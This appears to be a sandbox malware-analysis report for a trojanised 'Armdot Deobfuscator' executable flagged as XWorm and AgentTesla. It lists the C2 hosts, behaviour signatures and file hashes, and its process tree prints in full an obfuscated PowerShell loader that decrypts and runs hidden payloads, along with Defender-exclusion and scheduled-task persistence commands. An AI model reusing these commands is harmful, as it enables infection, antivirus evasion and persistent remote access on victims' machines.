Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    15s
  • max time network
    17s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/09/2024, 19:14

General

  • Target

    skibidi armdot/Armdot Deobfuscator.exe

  • Size

    275KB

  • MD5

    c4a8904f29c5672da081a5330718d414

  • SHA1

    3ad3cd5a5282f972ffabb32ccf4e1e48046cf115

  • SHA256

    fe3d17a9089e89239bf3249f4d5ad077ca8e5d51bbff4598653681e621967cd8

  • SHA512

    62ff900942e4637b458cd12f830a9dfde08a4aa47052e4521d8357ad8c38b44c5dee9156b78980a13fd28a1b95c239c26933ec484eff24c098517900ec3d5698

  • SSDEEP

    6144:49viKRu0lfe2udI3UflLdGCh+gDt39/PyMrMycwljWXCw:4huQREf9d5b3B1rMejW

Malware Config

Extracted

Family

xworm

Version

5.0

C2

127.0.0.1:58347

continue-silk.gl.at.ply.gg:58347

Mutex

KMhtquBvrnZVYr5C

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    svchost.exe

aes.plain

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • AgentTesla payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skibidi armdot\Armdot Deobfuscator.exe
    "C:\Users\Admin\AppData\Local\Temp\skibidi armdot\Armdot Deobfuscator.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3640
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\armdotdeobf.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5048
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DOc3nipEl2XDEOoyt8uqWZvNOcXRjizn9euxlyyuvFQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('G6lWis9l5D59OtU9N9g1tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zjjtk=New-Object System.IO.MemoryStream(,$param_var); $JQmKf=New-Object System.IO.MemoryStream; $FuKPR=New-Object System.IO.Compression.GZipStream($zjjtk, [IO.Compression.CompressionMode]::Decompress); $FuKPR.CopyTo($JQmKf); $FuKPR.Dispose(); $zjjtk.Dispose(); $JQmKf.Dispose(); $JQmKf.ToArray();}function execute_function($param_var,$param2_var){ $UZFhw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OFNvW=$UZFhw.EntryPoint; $OFNvW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\armdotdeobf.bat';$TYZoP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\armdotdeobf.bat').Split([Environment]::NewLine);foreach ($wSyuQ in $TYZoP) { if ($wSyuQ.StartsWith(':: ')) { $cOnxP=$wSyuQ.Substring(3); break; }}$payloads_var=[string[]]$cOnxP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2796
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_478_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_478.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2840
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_478.vbs"
          4⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1588
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_478.bat" "
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2416
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DOc3nipEl2XDEOoyt8uqWZvNOcXRjizn9euxlyyuvFQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('G6lWis9l5D59OtU9N9g1tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zjjtk=New-Object System.IO.MemoryStream(,$param_var); $JQmKf=New-Object System.IO.MemoryStream; $FuKPR=New-Object System.IO.Compression.GZipStream($zjjtk, [IO.Compression.CompressionMode]::Decompress); $FuKPR.CopyTo($JQmKf); $FuKPR.Dispose(); $zjjtk.Dispose(); $JQmKf.Dispose(); $JQmKf.ToArray();}function execute_function($param_var,$param2_var){ $UZFhw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OFNvW=$UZFhw.EntryPoint; $OFNvW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_478.bat';$TYZoP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_478.bat').Split([Environment]::NewLine);foreach ($wSyuQ in $TYZoP) { if ($wSyuQ.StartsWith(':: ')) { $cOnxP=$wSyuQ.Substring(3); break; }}$payloads_var=[string[]]$cOnxP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
              6⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1524
              • C:\Users\Admin\AppData\Local\Temp\skibidi armdot\Armdot Deobf.exe
                "C:\Users\Admin\AppData\Local\Temp\skibidi armdot\Armdot Deobf.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Enumerates system info in registry
                PID:3624
              • C:\Users\Admin\AppData\Local\Temp\skibidi armdot\cmd.exe
                "C:\Users\Admin\AppData\Local\Temp\skibidi armdot\cmd.exe"
                7⤵
                • Executes dropped EXE
                PID:4956
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:4580
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:3292
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\svchost.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                PID:1904
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
                7⤵
                • Command and Scripting Interpreter: PowerShell
                PID:936
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Local\svchost.exe"
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3948

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    9751fcb3d8dc82d33d50eebe53abe314

    SHA1

    7a680212700a5d9f3ca67c81e0e243834387c20c

    SHA256

    ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

    SHA512

    54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    2c7cde2ed7394ca3062f62ce0dc04b19

    SHA1

    9cc4ea0f0d808bfaca4a6d15e78352aca10dbf51

    SHA256

    5b80c72c56433aa99d64d4a885ddfc769039ec841d388c6157f002fa1c2bcc70

    SHA512

    828d3fdb7236ee9bb3b7d1738bc39e1d34b2b01f4ceba059df18b81ca756c41c5baddeb597b21109da532b71b507ab38bad360de64b158076ef97a4ecbcac802

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    8acdafe5fb541ceee9f846c454539a9c

    SHA1

    912152a840ecd07a1655e90723ac8c8eb94f0cbe

    SHA256

    84333595811f3726c18d4672473dd4f9f2807fe025207ce6e5a5261b623a0f51

    SHA512

    ed3c222cc4e1d350234b8a5ed63c2962181782f32a912e4d2c9bdd1a3e1236b263cc1c264dff0dc0ed5d21e09c4161d18af95209d7c18c6ce3df7a1908ef3617

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    6bb4044698d7b1a11ea86fc8c05484e3

    SHA1

    320ce2de657897f1ddb0b3a29f212fc53679d431

    SHA256

    cac9c42a71c0610e8bcc380173058f626c3d7e0851fc6a4d5a215fc816786c26

    SHA512

    255aa6cf5b8db8c80b4e83ee87fc35b036be542a4e581ac9338cd41bd3ef1b7def16feccdb9d85795de469003f168d2377dae6eb172b36a6c8fe36239073a059

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    06b7aef1c4db15abb98dbb455f6538ba

    SHA1

    6722a5e28e816151f7e9d079a1f45f13b6e98060

    SHA256

    6cc58cd4efcdd866f3582df5e806d380c7e86da408bdec82c75cd302a538b5a7

    SHA512

    136c454a3515aec714dc8581d41888434261d97738e51df29b83fc0ba5e3a97932487eef18450ff857a37bd55e6e33caada785f06a01c2a6c720c35b59373023

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5km1itfy.l0s.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\armdotdeobf.bat

    Filesize

    270KB

    MD5

    93905103e6c447670d2dfbfb1c21a17d

    SHA1

    d9f74375d0496a6e559a069a5584e837aa2e8213

    SHA256

    463be845c5735d6af2f2eadb7d5f5c0c376f90b395828e114679f6a75b3fea28

    SHA512

    9461a05990a89cc731b3fcff29eb1d70c38b1ce7f87d52c49ae31b198d27ec872102d567ef352ec65acd0abb140e495bc2a35ca5738ff44d582a05e0f5ca86e1

  • C:\Users\Admin\AppData\Local\Temp\skibidi armdot\Armdot Deobf.exe

    Filesize

    22KB

    MD5

    e949a85cefc515f6d281a64a322e575a

    SHA1

    05cbb24ee6b77d47ed6b839d446d60c8bc9ffe83

    SHA256

    66ae316114440dc776171193df2af2ce768a3da53b84759ad72209d3ecd73274

    SHA512

    a4a047bbbe8383601db9bfe0b6390559032ba475ce8bb6790720c18b1577c4bd7831f68d69fac6f14721d651d84316d740ef0dc58a2ba34f31870ba9957193f0

  • C:\Users\Admin\AppData\Local\Temp\skibidi armdot\cmd.exe

    Filesize

    316KB

    MD5

    428cec6b0034e0f183eb5bae887be480

    SHA1

    7140caf2a73676d1f7cd5e8529db861f4704c939

    SHA256

    3f6aa206177bebb29fc534c587a246e0f395941640f3f266c80743af95a02150

    SHA512

    509b8c138c4928524b4830488a96bd7e4bc7db2c494b10c68e1edcf7d901879126168eaa6635818d29734540f8400e376e5716a3b4dc052cba4e267bbaad7253

  • C:\Users\Admin\AppData\Roaming\startup_str_478.vbs

    Filesize

    115B

    MD5

    81ecdb4bd09be33480bc1d3f47e9d30a

    SHA1

    41c5c8bd3f950db969f8128212ceee73895be64f

    SHA256

    0cec544977823cec6a873a0ef7ae2a9aab8b93e99d913644f15d76e5ad996987

    SHA512

    14eed8fe932a81addf82e219164b07230f412fa74bcb4ad655b49dfd251344971fa6e05a501266160537d4383813364660f87065a7c0e9164a758a23f2e4b256

  • memory/936-188-0x00000000702B0000-0x00000000702FC000-memory.dmp

    Filesize

    304KB

  • memory/1524-83-0x00000000072E0000-0x000000000737C000-memory.dmp

    Filesize

    624KB

  • memory/1524-82-0x0000000007230000-0x0000000007240000-memory.dmp

    Filesize

    64KB

  • memory/1904-167-0x00000000702B0000-0x00000000702FC000-memory.dmp

    Filesize

    304KB

  • memory/2796-7-0x0000000005800000-0x0000000005E28000-memory.dmp

    Filesize

    6.2MB

  • memory/2796-10-0x0000000005EA0000-0x0000000005F06000-memory.dmp

    Filesize

    408KB

  • memory/2796-24-0x0000000006920000-0x000000000693A000-memory.dmp

    Filesize

    104KB

  • memory/2796-23-0x0000000007B90000-0x000000000820A000-memory.dmp

    Filesize

    6.5MB

  • memory/2796-25-0x0000000006950000-0x0000000006958000-memory.dmp

    Filesize

    32KB

  • memory/2796-26-0x0000000007560000-0x00000000075C2000-memory.dmp

    Filesize

    392KB

  • memory/2796-27-0x0000000008210000-0x00000000087B4000-memory.dmp

    Filesize

    5.6MB

  • memory/2796-21-0x0000000006360000-0x000000000637E000-memory.dmp

    Filesize

    120KB

  • memory/2796-20-0x0000000005F20000-0x0000000006274000-memory.dmp

    Filesize

    3.3MB

  • memory/2796-22-0x0000000006380000-0x00000000063CC000-memory.dmp

    Filesize

    304KB

  • memory/2796-9-0x0000000005730000-0x0000000005796000-memory.dmp

    Filesize

    408KB

  • memory/2796-8-0x0000000005590000-0x00000000055B2000-memory.dmp

    Filesize

    136KB

  • memory/2796-6-0x0000000074490000-0x0000000074C40000-memory.dmp

    Filesize

    7.7MB

  • memory/2796-109-0x0000000074490000-0x0000000074C40000-memory.dmp

    Filesize

    7.7MB

  • memory/2796-5-0x0000000002E60000-0x0000000002E96000-memory.dmp

    Filesize

    216KB

  • memory/2796-84-0x000000007449E000-0x000000007449F000-memory.dmp

    Filesize

    4KB

  • memory/2796-85-0x0000000074490000-0x0000000074C40000-memory.dmp

    Filesize

    7.7MB

  • memory/2796-4-0x000000007449E000-0x000000007449F000-memory.dmp

    Filesize

    4KB

  • memory/2840-53-0x00000000073B0000-0x0000000007453000-memory.dmp

    Filesize

    652KB

  • memory/2840-29-0x0000000074490000-0x0000000074C40000-memory.dmp

    Filesize

    7.7MB

  • memory/2840-55-0x0000000007770000-0x0000000007806000-memory.dmp

    Filesize

    600KB

  • memory/2840-56-0x00000000076E0000-0x00000000076F1000-memory.dmp

    Filesize

    68KB

  • memory/2840-59-0x0000000074490000-0x0000000074C40000-memory.dmp

    Filesize

    7.7MB

  • memory/2840-52-0x0000000007330000-0x000000000734E000-memory.dmp

    Filesize

    120KB

  • memory/2840-36-0x0000000074490000-0x0000000074C40000-memory.dmp

    Filesize

    7.7MB

  • memory/2840-30-0x0000000074490000-0x0000000074C40000-memory.dmp

    Filesize

    7.7MB

  • memory/2840-54-0x0000000007550000-0x000000000755A000-memory.dmp

    Filesize

    40KB

  • memory/2840-41-0x0000000007370000-0x00000000073A2000-memory.dmp

    Filesize

    200KB

  • memory/2840-42-0x00000000702B0000-0x00000000702FC000-memory.dmp

    Filesize

    304KB

  • memory/3292-146-0x00000000702B0000-0x00000000702FC000-memory.dmp

    Filesize

    304KB

  • memory/3624-108-0x0000000005800000-0x0000000005A14000-memory.dmp

    Filesize

    2.1MB

  • memory/3624-107-0x0000000004F20000-0x0000000004F2A000-memory.dmp

    Filesize

    40KB

  • memory/3624-106-0x0000000004D60000-0x0000000004DF2000-memory.dmp

    Filesize

    584KB

  • memory/3624-105-0x00000000004B0000-0x00000000004BC000-memory.dmp

    Filesize

    48KB

  • memory/4580-129-0x00000000074F0000-0x0000000007593000-memory.dmp

    Filesize

    652KB

  • memory/4580-134-0x0000000007880000-0x0000000007888000-memory.dmp

    Filesize

    32KB

  • memory/4580-133-0x0000000007890000-0x00000000078AA000-memory.dmp

    Filesize

    104KB

  • memory/4580-132-0x0000000007850000-0x0000000007864000-memory.dmp

    Filesize

    80KB

  • memory/4580-131-0x0000000007840000-0x000000000784E000-memory.dmp

    Filesize

    56KB

  • memory/4580-130-0x0000000007810000-0x0000000007821000-memory.dmp

    Filesize

    68KB

  • memory/4580-119-0x00000000702B0000-0x00000000702FC000-memory.dmp

    Filesize

    304KB